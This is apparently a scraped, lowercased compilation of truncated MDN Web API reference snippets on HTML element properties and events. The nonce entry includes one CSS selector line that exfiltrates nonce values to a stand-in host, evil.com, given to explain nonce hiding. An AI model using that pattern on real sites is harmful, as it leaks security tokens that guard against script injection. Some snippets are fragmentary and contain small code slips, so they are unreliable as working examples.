HTMLElement: transitioncancel event - Web APIs
console.log('transition canceled'); }); the same, but using the ontransitioncancel property instead of addeventlistener(): const transition = document.queryselector('.transition'); transition.ontransitioncancel = () => { console.log('transition canceled'); }; live example in the following example, we have a simple <div> element, styled with a transition that includes a delay: <div class="transition"></div> <div class="message"></div> .transition { width: 100px; height: 100px; background: rgba(255,0,0,1); transition-property: transform background; transition-duration: 2s; transition-delay: 2s; } .transition:hover { transform: rotate(90deg); background: rgba(255,0,0,0); } to this, we'll add some javascript to indicate that the transitionstart, transitionrun, trans...
HTMLElement: transitionend event - Web APIs
ansition.addeventlistener('transitionend', () => { console.log('transition ended'); }); the same, but using the ontransitionend: const transition = document.queryselector('.transition'); transition.ontransitionend = () => { console.log('transition ended'); }; live example in the following example, we have a simple <div> element, styled with a transition that includes a delay: <div class="transition">hover over me</div> <div class="message"></div> .transition { width: 100px; height: 100px; background: rgba(255,0,0,1); transition-property: transform background; transition-duration: 2s; transition-delay: 1s; } .transition:hover { transform: rotate(90deg); background: rgba(255,0,0,0); } to this, we'll add some javascript to indicate that the transitionstart, transit...
HTMLElement: transitionrun event - Web APIs
arily started transitioning yet'); }); the same, but using the ontransitionrun property instead of addeventlistener(): el.ontransitionrun = () => { console.log('transition started running, and will start transitioning when the transition delay has expired'); }; live example in the following example, we have a simple <div> element, styled with a transition that includes a delay: <div class="transition">hover over me</div> <div class="message"></div> .transition { width: 100px; height: 100px; background: rgba(255,0,0,1); transition-property: transform, background; transition-duration: 2s; transition-delay: 1s; } .transition:hover { transform: rotate(90deg); background: rgba(255,0,0,0); } to this, we'll add some javascript to indicate where the transitionstart and tr...
HTMLElement: transitionstart event - Web APIs
t event: element.addeventlistener('transitionstart', () => { console.log('started transitioning'); }); the same, but using the ontransitionstart property instead of addeventlistener(): element.ontransitionrun = () => { console.log('started transitioning'); }; live example in the following example, we have a simple <div> element, styled with a transition that includes a delay: <div class="transition">hover over me</div> <div class="message"></div> .transition { width: 100px; height: 100px; background: rgba(255,0,0,1); transition-property: transform, background; transition-duration: 2s; transition-delay: 1s; } .transition:hover { transform: rotate(90deg); background: rgba(255,0,0,0); } to this, we'll add some javascript to indicate where the transitionstart and tr...
HTMLFontElement.color - Web APIs
description examples valid name color string nameofcolor (case insensitive) green green green valid hex color string in rgb format: #rrggbb #008000 rgb using decimal values rgb(x,x,x) (x in 0-255 range) rgb(0,128,0) syntax colorstring = fontobj.color; fontobj.color = colorstring; examples // assumes there is <font id="f"> element in the html var f = document.getelementbyid("f"); f.color = "green"; specifications the <font> tag is not supported in html5 and as a result neither is <font>.color.
HTMLFontElement.face - Web APIs
the format of the string must follow one of the following html microsyntax: microsyntax description examples list of one or more valid font family names a list of font names, that have to be present on the local system courier,verdana syntax facestring = fontobj.face; fontobj.face = facestring; examples // assumes there is <font id="f"> element in the html var f = document.getelementbyid("f"); f.face = "arial"; specifications the <font> tag is not supported in html5 and as a result neither is <font>.face .
HTMLFontElement.size - Web APIs
xamples valid size number string integer number in the range of 1-7 6 relative size string +x or -x, where x is the number relative to the value of the size attribute of the <basefont> element (the result should be in the same range of 1-7) +2 -1 syntax sizestring = fontobj.size; fontobj.size = sizestring; examples // assumes there is <font id="f"> element in the html var f = document.getelementbyid("f"); f.size = "6"; specifications the <font> tag is not supported in html5 and as a result neither is <font>.size .
HTMLFormElement.length - Web APIs
the elements included by htmlformelement.elements and htmlformelement.length are the following: <button> <fieldset> <input> (with the exception that any whose type is "image" are omitted for historical reasons) <object> <output> <select> <textarea> no other elements are included in the list returned by elements, which makes it an excellent way to get at the elements most important when processing forms.
HTMLFormElement.method - Web APIs
syntax var string = form.method; form.method = string; example document.forms['myform'].method = 'post'; const formelement = document.createelement("form"); // create a form document.body.appendchild(formelement); console.log(formelement.method); // 'get' specifications specification status comment html living standardthe definition of 'htmlformelement: method' in that specification.
HTMLFormElement.requestSubmit() - Web APIs
let myform = document.queryselector("form"); let submitbutton = myform.queryselector("#main-submit"); if (myform.requestsubmit) { if (submitbutton) { myform.requestsubmit(submitbutton); } else { myform.requestsubmit(); } } else { myform.submit(); } specifications specification status comment html living standardthe definition of 'requestsubmit()' in that specification.
HTMLFormElement: reset event - Web APIs
html <form id="form"> <label>test field: <input type="text"></label> <br><br> <button type="reset">reset form</button> </form> <p id="log"></p> javascript function logreset(event) { log.textcontent = `form reset!
HTMLHyperlinkElementUtils.host - Web APIs
syntax string = object.host; object.host = string; examples var anchor = document.createelement("a"); anchor.href = "https://developer.mozilla.org/htmlhyperlinkelementutils.host" anchor.host == "developer.mozilla.org" anchor.href = "https://developer.mozilla.org:443/htmlhyperlinkelementutils.host" anchor.host == "developer.mozilla.org" // the port number is not included because 443 is the scheme's default port anchor.href = "https://developer.mozilla.org:4097/htmlhyperlinkelementutils.host" anchor.host == "developer.mozilla.org:4097" specifications specification status comment h...
HTMLHyperlinkElementUtils.hostname - Web APIs
syntax string = object.hostname; object.hostname = string; examples // let's an <a id="myanchor" href="https://developer.mozilla.org/docs/htmlhyperlinkelementutils.hostname"> element be in the document var anchor = document.getelementbyid("myanchor"); var result = anchor.hostname; // returns:'developer.mozilla.org' specifications specification status comment html living standardthe definition of 'htmlhyperlinkelementutils.hostname' in that specification.
HTMLHyperlinkElementUtils.href - Web APIs
syntax string = object.href; object.href = string; examples // lets imagine an <a id="myanchor" href="https://developer.mozilla.org/htmlhyperlinkelementutils/href"> element is in the document var anchor = document.getelementbyid("myanchor"); var result = anchor.href; // returns: 'https://developer.mozilla.org/htmlhyperlinkelementutils/href' specifications specification status comment html living standardthe definition of 'htmlhyperlinkelementutils.href' in that specification.
HTMLHyperlinkElementUtils.origin - Web APIs
e.g "blob:https://mozilla.org" will have "https://mozilla.org".
HTMLHyperlinkElementUtils.password - Web APIs
syntax string = object.password; object.password = string; examples // let's <a id="myanchor" href="https://anonymous:flabada@developer.mozilla.org/docs/htmlhyperlinkelementutils.username"> be in the document var anchor = document.getelementbyid("myanchor"); var result = anchor.password; // returns:'flabada' specifications specification status comment html living standardthe definition of 'htmlhyperlinkelementutils.password' in that specification.
HTMLHyperlinkElementUtils.pathname - Web APIs
syntax string = object.pathname; object.pathname = string; examples // let's an <a id="myanchor" href="https://developer.mozilla.org/docs/htmlhyperlinkelementutils.pathname"> element be in the document var anchor = document.getelementbyid("myanchor"); var result = anchor.pathname; // returns:'/docs/htmlhyperlinkelementutils.pathname' specifications specification status comment html living standardthe definition of 'htmlhyperlinkelementutils.pathname' in that specification.
HTMLHyperlinkElementUtils.port - Web APIs
syntax string = object.port; object.port = string; examples // let's an <a id="myanchor" href="https://developer.mozilla.org:443/docs/htmlhyperlinkelementutils.port"> element be in the document var anchor = document.getelementbyid("myanchor"); var result = anchor.port; // returns:'443' specifications specification status comment html living standardthe definition of 'htmlhyperlinkelementutils.port' in that specification.
HTMLHyperlinkElementUtils.protocol - Web APIs
syntax string = object.protocol; object.protocol = string; examples // let's an <a id="myanchor" href="https://developer.mozilla.org/htmlhyperlinkelementutils.protocol"> element be in the document var anchor = document.getelementbyid("myanchor"); var result = anchor.protocol; // returns:'https:' specifications specification status comment html living standardthe definition of 'htmlhyperlinkelementutils.protocol' in that specification.
HTMLHyperlinkElementUtils.search - Web APIs
syntax string = object.search; object.search = string; examples // let an <a id="myanchor" href="https://developer.mozilla.org/docs/htmlhyperlinkelementutils.search?q=123"> element be in the document var anchor = document.getelementbyid("myanchor"); var querystring = anchor.search; // returns:'?q=123' // further parsing: let params = new urlsearchparams(querystring); let q = parseint(params.get("q")); // is the number 123 specifications specification status comment h...
HTMLHyperlinkElementUtils.toString() - Web APIs
syntax string = object.tostring(); examples // let's imagine an <a id="myanchor" href="https://developer.mozilla.org/docs/htmlhyperlinkelementutils/tostring"> element is in the document var anchor = document.getelementbyid("myanchor"); var result = anchor.tostring(); // returns: 'https://developer.mozilla.org/docs/htmlhyperlinkelementutils/tostring' specifications specification status comment html living standard living standard ...
HTMLHyperlinkElementUtils.username - Web APIs
syntax string = object.username; object.username = string; examples // let's <a id="myanchor" href="https://anonymous:flabada@developer.mozilla.org/docs/htmlhyperlinkelementutils.username"> be in the document var anchor = document.getelementbyid("myanchor"); var result = anchor.username; // returns:'anonymous' specifications specification status comment html living standardthe definition of 'htmlhyperlinkelementutils.username' in that specification.
contentDocument - Web APIs
example of contentdocument var iframedocument = document.getelementsbytagname("iframe")[0].contentdocument; iframedocument.body.style.backgroundcolor = "blue"; // this would turn the iframe blue.
HTMLIFrameElement.contentWindow - Web APIs
example of contentwindow var x = document.getelementsbytagname("iframe")[0].contentwindow; //x = window.frames[0]; x.document.getelementsbytagname("body")[0].style.backgroundcolor = "blue"; // this would turn the 1st iframe in document blue.
HTMLIFrameElement.referrerPolicy - Web APIs
examples var iframe = document.createelement("iframe"); iframe.src = "/"; iframe.referrerpolicy = "unsafe-url"; var body = document.getelementsbytagname("body")[0]; body.appendchild(iframe); // fetch the image using the complete url as the referrer specifications specification status comment referrer policythe definition of 'referrerpolicy attribute' in that specification.
HTMLIFrameElement.src - Web APIs
syntax refstr = iframeelt.src; iframeelt.src= refstr; example var iframe = document.createelement("iframe"); iframe.src = "/"; var body = document.getelementsbytagname("body")[0]; body.appendchild(iframe); // fetch the image using the complete url as the referrer specifications specification status comment html living standardthe definition of 'htmliframeelement: src' in that specification.
srcdoc - Web APIs
examples var iframe = document.createelement("iframe"); iframe.srcdoc = `<!doctype html><p>hello world!</p>`; document.body.appendchild(iframe); specifications specification status comment html living standardthe definition of 'htmliframeelement: srcdoc' in that specification.
Image() - Web APIs
examples var myimage = new image(100, 200); myimage.src = 'picture.jpg'; document.body.appendchild(myimage); this would be the equivalent of defining the following html tag inside the <body>: <img width="100" height="200" src="picture.jpg"> specifications specification status comment html living standardthe definition of 'image()' in that specification.
HTMLImageElement.align - Web APIs
instead, they cause the image to "float" to the left or right margin, allowing the following text to flow around the image.
HTMLImageElement.border - Web APIs
for example, if you have the following html: <img src="image.png" border="2"> the following will provide the same appearance using css instead of this obsolete property: <img src="image.png" style="border: 2px;"> you can further provide additional information to change the color and other features of the border: <img src="image.png" style="border: dashed 2px #333388;"> specifications specification status comment html ...
HTMLImageElement.isMap - Web APIs
usage notes when an image marked as being part of a server-side image map is clicked, the browser constructs the string "?x,y", where x and y indicate the coordinates at which the mouse was clicked as offsets from the top-left corner of the image, specified in css pixels.
HTMLImageElement.loading - Web APIs
function addimagetolist(url) { const list = document.queryselector("div.photo-list"); let newitem = document.createelement("div"); newitem.classname = "photo-item"; let newimg = document.createelement("img"); newimg.loading = "lazy"; newimg.width = 320; newimg.height = 240; newimg.src = url; newitem.appendchild(newimg); list.appendchild(newitem); } specifications specification status comment html living standardt...
HTMLImageElement.src - Web APIs
examples specifying a single image html <img src="https://udn.realityripple.com/samples/d6/7ab36d79bb.jpg" width="160" alt="slices of grapefruit, looking yummy."> result using src with an image set when using a set of images with the srcset property, the src serves as either a fallback for older browsers, or as the 1x size of the image.
HTMLInputElement: invalid event - Web APIs
html <form action="#"> <ul> <li><label>enter an integer between 1 and 10: <input type="number" min="1" max="10" required></label></li> <li><input type="submit" value="submit"></li> </ul> </form><p id="log"></p> javascript const input = document.queryselector('input') const log = document.getelementbyid('log') input.addeventlistener('invalid', logvalue) function logvalue(e) { log.textcontent += e.ta...
HTMLInputElement.labels - Web APIs
example html <label id="label1" for="test">label 1</label> <input id="test"/> <label id="label2" for="test">label 2</label> javascript window.addeventlistener("domcontentloaded", function() { const input = document.getelementbyid("test"); for(var i = 0; i < input.labels.length; i++) { console.log(input.labels[i].textcontent); // "label 1" and "label 2" } }); specifications specification status comment html living standardthe definition of 'labels' in that specification.
HTMLInputElement.mozSetFileNameArray() - Web APIs
example var filearray = {"/foo/bar.txt", "/foo/foosball.txt"}; inputelement.mozsetfilenamearray(filearray, filearray.length); ...
HTMLInputElement.multiple - Web APIs
firefox currently only supports multiple for <input type="file">.
HTMLInputElement.webkitEntries - Web APIs
html <input id="files" type="file" multiple> javascript document.getelementbyid("files").addeventlistener("change", function(event) { event.target.webkitentries.foreach(function(entry) { /* do stuff with the entry */ }); }); each time a change event occurs, this code iterates over the selected files, obtaining their filesystementry-based objects and acting on them.
HTMLInputElement.webkitdirectory - Web APIs
html content <input type="file" id="filepicker" name="filelist" webkitdirectory multiple /> <ul id="listing"></ul> javascript content document.getelementbyid("filepicker").addeventlistener("change", function(event) { let output = document.getelementbyid("listing"); let files = event.target.files; for (let i=0; i<files.length; i++) { let item = document.createelement("li"); item.innerhtml = files[i].webkitr...
HTMLLinkElement.as - Web APIs
the as property of the htmllinkelement interface returns a domstring representing the type of content being loaded by the html link, one of "script", "style", "image", "video", "audio", "track", "font", "fetch".
HTMLLinkElement.referrerPolicy - Web APIs
syntax domstring htmllinkelement.referrerpolicy example var links = document.getelementsbytagname("link"); links[0].referrerpolicy; // "no-referrer" specifications specification status comment referrer policythe definition of 'referrerpolicy attribute' in that specification.
HTMLLinkElement.relList - Web APIs
syntax var relstr = linkelt.rellist; example var links = document.getelementsbytagname("link"); var length = links.length; for (var i = 0; i < length; i++) { var list = links[i].rellist; var listlength = list.length; console.log("new link found."); for (var j = 0; j < listlength; j++) { console.log(list[j]); } } specifications specification status comment html living standardthe definition of 'rellist' in that specification.
HTMLMediaElement.autoplay - Web APIs
<video id="video" controls> <source src="https://player.vimeo.com/external/250688977.sd.mp4?s=d14b1f1a971dde13c79d6e436b88a6a928dfe26b&profile_id=165"> </video> *** disable autoplay (recommended) *** false is the default value document.queryselector('#video').autoplay = false; specifications specification status comment html living standardthe definition of 'htmlm...
HTMLMediaElement.currentSrc - Web APIs
example var obj = document.createelement('video'); console.log(obj.currentsrc); // "" specifications specification status comment html living standardthe definition of 'htmlmediaelement.currentsrc' in that specification.
HTMLMediaElement.defaultMuted - Web APIs
example var videoele = document.createelement('video'); videoele.defaultmuted = true; console.log(videoele.outerhtml); // <video muted=""></video> specifications specification status comment html living standardthe definition of 'htmlmediaelement.defaultmuted' in that specification.
HTMLMediaElement.defaultPlaybackRate - Web APIs
1.0 is "normal speed," values lower than 1.0 make the media play slower than normal, higher values make it play faster.
HTMLMediaElement.disableRemotePlayback - Web APIs
(false means "not disabled", which means "enabled") example var obj = document.createelement('audio'); obj.disableremoteplayback = true; specifications specification status comment remote playback apithe definition of 'disableremoteplayback' in that specification.
HTMLMediaElement.error - Web APIs
var videoelement = document.createelement('video'); videoelement.onerror = function() { console.log("error " + videoelement.error.code + "; details: " + videoelement.error.message); } videoelement.src = "https://example.com/bogusvideo.mp4"; specifications specification status comment html living standardthe definition of 'htmlmediaelement.error' in that specification.
HTMLMediaElement.fastSeek() - Web APIs
let myvideo = document.getelementbyid("myvideoelement"); myvideo.fastseek(20); specifications specification status comment html living standardthe definition of 'fastseek()' in that specification.
HTMLMediaElement.networkState - Web APIs
<audio id="example" preload="auto"> <source src="sound.ogg" type="audio/ogg" /> </audio> var obj = document.getelementbyid('example'); obj.addeventlistener('playing', function() { if (obj.networkstate === 2) { // still loading...
HTMLMediaElement.playbackRate - Web APIs
1.0 is "normal speed," values lower than 1.0 make the media play slower than normal, higher values make it play faster.
HTMLMediaElement.readyState - Web APIs
<audio id="example" preload="auto"> <source src="sound.ogg" type="audio/ogg" /> </audio> var obj = document.getelementbyid('example'); obj.addeventlistener('loadeddata', function() { if(obj.readystate >= 2) { obj.play(); } }); specifications specification status comment html living standardthe definition of 'htmlmediaelement.readystate' in that specification.
HTMLMediaElement.seekable - Web APIs
examples var video = document.queryselector("video"); var timerangesobject = video.seekable; var timeranges = []; //go through the object and output an array for (let count = 0; count < timerangesobject.length; count ++) { timeranges.push([timerangesobject.start(count), timerangesobject.end(count)]); } specifications specification status comment html living standardthe definition of 'htmlmediaelement' in that specification.
HTMLMediaElement.setSinkId() - Web APIs
older versions of this spec were called "media capture output".
HTMLMediaElement.sinkId - Web APIs
older versions of this spec were called "media capture output".
HTMLMediaElement.src - Web APIs
example var obj = document.createelement('video'); console.log(obj.src); // "" specifications specification status comment html living standardthe definition of 'htmlmediaelement.src' in that specification.
HTMLMediaElement.srcObject - Web APIs
const mediasource = new mediasource(); const video = document.createelement('video'); // older browsers may not have srcobject if ('srcobject' in video) { try { video.srcobject = mediasource; } catch (err) { if (err.name != "typeerror") { throw err; } // even if they do, they may only support mediastream video.src = url.createobjecturl(mediasource); } } else { video.src = url.createobjecturl(mediasource); } specifications specification status comment html living standardthe definition of 'srcobject' in that specification.
HTMLMeterElement.labels - Web APIs
example html <label id="label1" for="test">label 1</label> <meter id="test" min="0" max="100" value="70">70</meter> <label id="label2" for="test">label 2</label> javascript window.addeventlistener("domcontentloaded", function() { const meter = document.getelementbyid("test"); for(var i = 0; i < meter.labels.length; i++) { console.log(meter.labels[i].textcontent); // "label 1" and "label 2" } }); specifications specification status comment html living standardthe definition of 'labe...
HTMLObjectElement.typeMustMatch - Web APIs
syntax var mustmatch = obj.typemustmatch; obj.typemustmatch = mustmatch; example html <object id="obj" data="move.swf" type="application/x-shockwave-flash" typemustmatch></object> javascript let obj = document.getelementbyid('obj'); console.log(obj.typemustmatch); specifications specification status comment html5the definition of 'htmlobjectelement' in that specification.
HTMLElement.blur() - Web APIs
syntax element.blur(); examples remove focus from a text input html <input type="text" id="mytext" value="sample text"> <br><br> <button type="button" onclick="focusinput()">click me to gain focus</button> <button type="button" onclick="blurinput()">click me to lose focus</button> javascript function focusinput() { document.getelementbyid('mytext').focus(); } function blurinput() { document.getelementbyid('mytext').blur(); } result specification specification status comment html living standardthe definition of 'blur' in that specification.
HTMLOrForeignElement.nonce - Web APIs
nonce hiding helps preventing that attackers exfiltrate nonce data via mechanisms that can grab data from content attributes like this: script[nonce~=whatever] { background: url("https://evil.com/nonce?whatever"); } specifications specification html living standardthe definition of 'nonce' in that specification.
HTMLOutputElement.labels - Web APIs
example html <label id="label1" for="test">label 1</label> <output id="test">output</output> <label id="label2" for="test">label 2</label> javascript window.addeventlistener("domcontentloaded", function() { const output = document.getelementbyid("test"); for(var i = 0; i < output.labels.length; i++) { console.log(output.labels[i].textcontent); // "label 1" and "label 2" } }); specifications specification status comment html living standardthe definition of 'labels' in that spec...
HTMLProgressElement.labels - Web APIs
example html <label id="label1" for="test">label 1</label> <progress id="test" value="70" max="100">70%</progress> <label id="label2" for="test">label 2</label> javascript window.addeventlistener("domcontentloaded", function() { const progress = document.getelementbyid("test"); for(var i = 0; i < progress.labels.length; i++) { console.log(progress.labels[i].textcontent); // "label 1" and "label 2" } }); specifications specification status comment html living standardthe...
HTMLSelectElement.autofocus - Web APIs
syntaxedit abool = aselectelement.autofocus; // get the value of autofocus aselectelement.autofocus = abool; // set the value of autofocus example html <select id="myselect" autofocus> <option>option 1</option> <option>option 2</option> </select> javascript // check if the autofocus attribute on the <select> var hasautofocus = document.getelementbyid('myselect').autofocus; specifications specification status comment html living standardthe definition of 'autofocus' in that specification.
HTMLSelectElement.disabled - Web APIs
<input id="allow-drinks" type="checkbox"/> </label> <label for="drink-select">drink selection:</label> <select id="drink-select" disabled> <option value="1">water</option> <option value="2">beer</option> <option value="3">pepsi</option> <option value="4">whisky</option> </select> javascript var allowdrinkscheckbox = document.getelementbyid("allow-drinks"); var drinkselect = document.getelementbyid("drink-select"); allowdrinkscheckbox.addeventlistener("change", ...
HTMLSelectElement.item() - Web APIs
examples html <form> <select id="myformcontrol" type="textarea"> <option id="o1">opt 1</option> <option id="o2">opt 2</option> </select> </form> javascript // returns the htmloptionelement representing #o2 elem1 = document.forms[0]['myformcontrol'][1]; specifications specification status comment html living standardthe definition of 'htmlselectelement.item()' in that specification.
HTMLSelectElement.labels - Web APIs
example html <label id="label1" for="test">label 1</label> <select id="test"> <option value="1">option 1</option> <option value="2">option 2</option> </select> <label id="label2" for="test">label 2</label> javascript window.addeventlistener("domcontentloaded", function() { const select = document.getelementbyid("test"); for(var i = 0; i < select.labels.length; i++) { console.log(select.labels[i].textcontent); // "label 1" and "label 2" } }); specifications specification status comment ...
HTMLSelectElement.options - Web APIs
example html <label for="test">label</label> <select id="test"> <option value="1">option 1</option> <option value="2">option 2</option> </select> javascript window.addeventlistener("domcontentloaded", function() { const select = document.getelementbyid("test"); for(var i = 0; i < select.options.length; i++) { console.log(select.options[i].label); // "option 1" and "option 2" } }); specifications specification status comment html living standardthe definiti...
HTMLSelectElement.remove() - Web APIs
example var sel = document.getelementbyid("existinglist"); sel.remove(1); /* takes the existing following select object: <select id="existinglist" name="existinglist"> <option value="1">option: value 1</option> <option value="2">option: value 2</option> <option value="3">option: value 3</option> </select> and changes it to: <select id="existinglist" name="existinglist"> <option value="1">option: value 1</option> <option value="3">opt...
HTMLSelectElement.selectedIndex - Web APIs
syntax var index = selectelem.selectedindex; selectelem.selectedindex = index; example html <p id="p">selectedindex: 0</p> <select id="select"> <option selected>option a</option> <option>option b</option> <option>option c</option> <option>option d</option> <option>option e</option> </select> javascript var selectelem = document.getelementbyid('select') var pelem = document.getelementbyid('p') // when a new <option> is selected selectelem.addeventlistener('change', function() { var index = selectelem.selectedindex; // add that data to the <p> pelem.innerhtml = '...
HTMLSlotElement.assignedNodes() - Web APIs
let slots = this.shadowroot.queryselectorall('slot'); slots[1].addeventlistener('slotchange', function(e) { let nodes = slots[1].assignednodes(); console.log('element in slot "' + slots[1].name + '" changed to "' + nodes[0].outerhtml + '".'); }); here we grab references to all the slots, then add a slotchange event listener to the 2nd slot in the template — which is the one that keeps having its contents changed in the example.
HTMLSlotElement.name - Web APIs
let slots = this.shadowroot.queryselectorall('slot'); slots[1].addeventlistener('slotchange', function(e) { let nodes = slots[1].assignednodes(); console.log('element in slot "' + slots[1].name + '" changed to "' + nodes[0].outerhtml + '".'); }); here we grab references to all the slots, then add a slotchange event listener to the 2nd slot in the template — which is the one that keeps having its contents changed in the example.
HTMLSlotElement - Web APIs
let slots = this.shadowroot.queryselectorall('slot'); slots[1].addeventlistener('slotchange', function(e) { let nodes = slots[1].assignednodes(); console.log('element in slot "' + slots[1].name + '" changed to "' + nodes[0].outerhtml + '".'); }); here we grab references to all the slots, then add a slotchange event listener to the 2nd slot in the template — which is the one that keeps having its contents changed in the example.
HTMLStyleElement.media - Web APIs
example <!doctype html> <html> <head> <link id="linkedstyle" rel="stylesheet" href="document.css" type="text/css" media="screen" /> <style id="inlinestyle" rel="stylesheet" type="text/css" media="screen, print"> p { color: blue; } </style> </head> <body> <script> alert('linkedstyle: ' + document.getelementbyid('linkedstyle').media); // 'screen' alert('inlinestyle: ' + document.getelementbyid('inlinestyle').media); // 'screen, print' </script> </body> </html> specifications specification status comment html living sta...
HTMLStyleElement.type - Web APIs
for gecko, the type is most often given as "text/css." from the w3c spec on css: "the expectation is that binding-specific casting methods can be used to cast down from an instance of the cssrule interface to the specific derived interface implied by the type." syntax string = style.type; example if (newstyle.type != "text/css"){ // not supported!
HTMLTableElement.frame - Web APIs
"above" top side "below" bottom side "hsides" top and bottom only "vsides" right and left sides only "lhs" left-hand side only "rhs" right-hand side only "box" all four sides "border" all four sides example // set the frame of tablea to 'border' var t = document.getelementbyid('tablea'); t.frame = "border"; t.border = "2px"; specification w3c dom 2 html specification ...
HTMLTableElement.insertRow() - Web APIs
html <table id="my-table"> <tr><td>row 1</td></tr> <tr><td>row 2</td></tr> <tr><td>row 3</td></tr> </table> javascript function addrow(tableid) { // get a reference to the table let tableref = document.getelementbyid(tableid); // insert a row at the end of the table let newrow = tableref.insertrow(-1); // insert a cell in the row at index 0 let newcell = newrow.insertcell(0); // append a ...
HTMLTableElement.rules - Web APIs
syntax htmltableelement.rules = rules; var rules = htmltableelement.rules; parameters rules is a string with one of the following values: none no rules groups lines between groups only rows lines between rows cols lines between cols all lines between all cells example // turn on all the internal borders of a table var t = document.getelementbyid("tableid"); t.rules = "all"; specification w3c dom 2 html specification ...
HTMLTableElement.summary - Web APIs
syntax htmltableelement.summary = string; varstring = htmltableelement.summary; example htmltableelement.summary = "usage statistics"; specification w3c dom 2 html specification ...
HTMLTableElement.width - Web APIs
example mytable.width = "75%"; ...
HTMLTableRowElement.insertCell() - Web APIs
html <table id="my-table"> <tr><td>row 1</td></tr> <tr><td>row 2</td></tr> <tr><td>row 3</td></tr> </table> javascript function addrow(tableid) { // get a reference to the table let tableref = document.getelementbyid(tableid); // insert a row at the end of the table let newrow = tableref.insertrow(-1); // insert a cell in the row at index 0 let newcell = newrow.insertcell(0); // append a ...
HTMLTableRowElement.rowIndex - Web APIs
item</th> <th>price</th></tr> </thead> <tbody> <tr><td>bananas</td> <td>$2</td></tr> <tr><td>oranges</td> <td>$8</td></tr> <tr><td>top sirloin</td> <td>$20</td></tr> </tbody> <tfoot> <tr><td>total</td> <td>$30</td></tr> </tfoot> </table> javascript let rows = document.queryselectorall('tr'); rows.foreach((row) => { let z = document.createelement("td"); z.textcontent = `(row #${row.rowindex})`; row.appendchild(z); }); result ...
HTMLTemplateElement.content - Web APIs
syntax var documentfragment = templateelement.content example var templateelement = document.queryselector("#foo"); var documentfragment = templateelement.content.clonenode(true); specifications specification status comment html living standardthe definition of 'htmltemplateelement interface' in that specification.
HTMLTextAreaElement.labels - Web APIs
example html <label id="label1" for="test">label 1</label> <textarea id="test">some text</textarea> <label id="label2" for="test">label 2</label> javascript window.addeventlistener("domcontentloaded", function() { const textarea = document.getelementbyid("test"); for(var i = 0; i < textarea.labels.length; i++) { console.log(textarea.labels[i].textcontent); // "label 1" and "label 2" } }); specifications specification status comment html living standardthe definition of ...
HTMLTimeElement.dateTime - Web APIs
hhmms.xxs pddthhmms.xxxs pthhmmss pthhmms.xs pthhmms.xxs pthhmms.xxxs ww dd hh mm ss p12dt7h12m13s p12dt7h12m13.3s p12dt7h12m13.45s p12dt7h12m13.455s pt7h12m13s pt7h12m13.2s pt7h12m13.56s pt7h12m13.999s 7d 5h 24m 13s syntax datetimestring = timeelt.datetime; timeelt.datetime = datetimestring example // assumes there is <time id="t"> element in the html var t = document.getelementbyid("t"); t.datetime = "6w 5h 34m 5s"; specifications specification status comment html living standardthe definition of 'htmltimeelement' in that specification.
HTMLTrackElement: cuechange event - Web APIs
let texttrackelem = document.getelementbyid("texttrack"); texttrackelem.addeventlistener("cuechange", (event) => { let cues = event.target.track.activecues; }); in addition, you can use the oncuechange event handler: let texttrackelem = document.getelementbyid("texttrack"); texttrackelem.oncuechange = (event) => { let cues = event.target.track.activecues; }); specifications specification status html living sta...
HTMLVideoElement.getVideoPlaybackQuality() - Web APIs
this value includes any dropped or corrupted frames, so it's not the same as "total number of frames played." var videoelem = document.getelementbyid("my_vid"); var counterelem = document.getelementbyid("counter"); var quality = videoelem.getvideoplaybackquality(); counterelem.innertext = quality.totalvideoframes; specifications specification status comment media playback qualitythe definition of 'htmlvideoelement.getvideoplaybackquality()' in t...
HTMLVideoElement.msHorizontalMirror - Web APIs
example var myvideo = document.getelementbyid("videotag1"); myvideo.mshorizontalmirror = true; myvideo.play(); example #2: var flip = document.queryselector('#flip'); flip.addeventlistener('click', function() { video.mshorizontalmirror = true; }); see also htmlvideoelement microsoft api extensions ...
HTMLVideoElement.msInsertVideoEffect() - Web APIs
example var ovideo1 = document.getelementbyid("video1"); ovideo1.msinsertvideoeffect("windows.media.videoeffects.videostabilization", true, null); see also htmlvideoelement microsoft api extensions ...
msStereo3DPackingMode - Web APIs
syntax htmlvideoelement.msstereo3dpackingmode(topbottom, sidebyside, none); value the following values return, or set, the stereo 3-d content packing as "topbottom", "sidebyside", or "none" for regular 2-d video.
HTMLVideoElement.msZoom - Web APIs
var myvideo = document.getelementbyid("videotag1"); myvideo.mszoom = true; myvideo.play(); see also htmlvideoelement microsoft api extensions ...
onMSVideoFormatChanged - Web APIs
syntax value description event property object.onmsvideoformatchanged = handler; attachevent method object.attachevent("onmsvideoformatchanged", handler) addeventlistener method object.addeventlistener("", handler, usecapture) event handler parameters val[in], type=function see also htmlvideoelement microsoft api extensions ...
onMSVideoFrameStepCompleted - Web APIs
syntax value description event property object.onmsvideoframestepcompleted = handler; attachevent method object.attachevent("onmsvideoframestepcompleted", handler) addeventlistener method object.addeventlistener("", handler, usecapture) event handler parameters val[in], type=function see also htmlvideoelement microsoft api extensions ...
onMSVideoOptimalLayoutChanged - Web APIs
syntax value description event property object.onmsvideooptimallayoutchanged = handler; attachevent method object.attachevent("onmsvideooptimallayoutchanged", handler) addeventlistener method object.addeventlistener("", handler, usecapture) synchronous no bubbles no cancelable no see also msislayoutoptimalforplayback htmlvideoelement microsoft api extensions ...
HTMLVideoElement.videoHeight - Web APIs
let v = document.getelementbyid("myvideo"); v.addeventlistener("resize", ev => { let w = v.videowidth; let h = v.videoheight; if (w && h) { v.style.width = w; v.style.height = h; } }, false); note that this only applies the change if both the videowidth and the videoheight are non-zero.
HTMLVideoElement.videoWidth - Web APIs
let v = document.getelementbyid("myvideo"); v.addeventlistener("resize", ev => { let w = v.videowidth; let h = v.videoheight; if (w && h) { v.style.width = w; v.style.height = h; } }, false); note that this only applies the change if both the videowidth and the videoheight are non-zero.
Headers.get() - Web APIs
WebAPIHeadersget
example creating an empty headers object is simple: var myheaders = new headers(); // currently empty myheaders.get('not-set'); // returns null you could add a header to this using headers.append, then retrieve it using get(): myheaders.append('content-type', 'image/jpeg'); myheaders.get('content-type'); // returns "image/jpeg" if the header has multiple values associated with it, the byte string will contain all the values, in the order they were added to the headers object: myheaders.append('accept-encoding', 'deflate'); myheaders.append('accept-encoding', 'gzip'); myheaders.get('accept-encoding'); // returns "deflate,gzip" note: headers.getall used to have this functionality, with headers.get returni...
Headers.getAll() - Web APIs
WebAPIHeadersgetAll
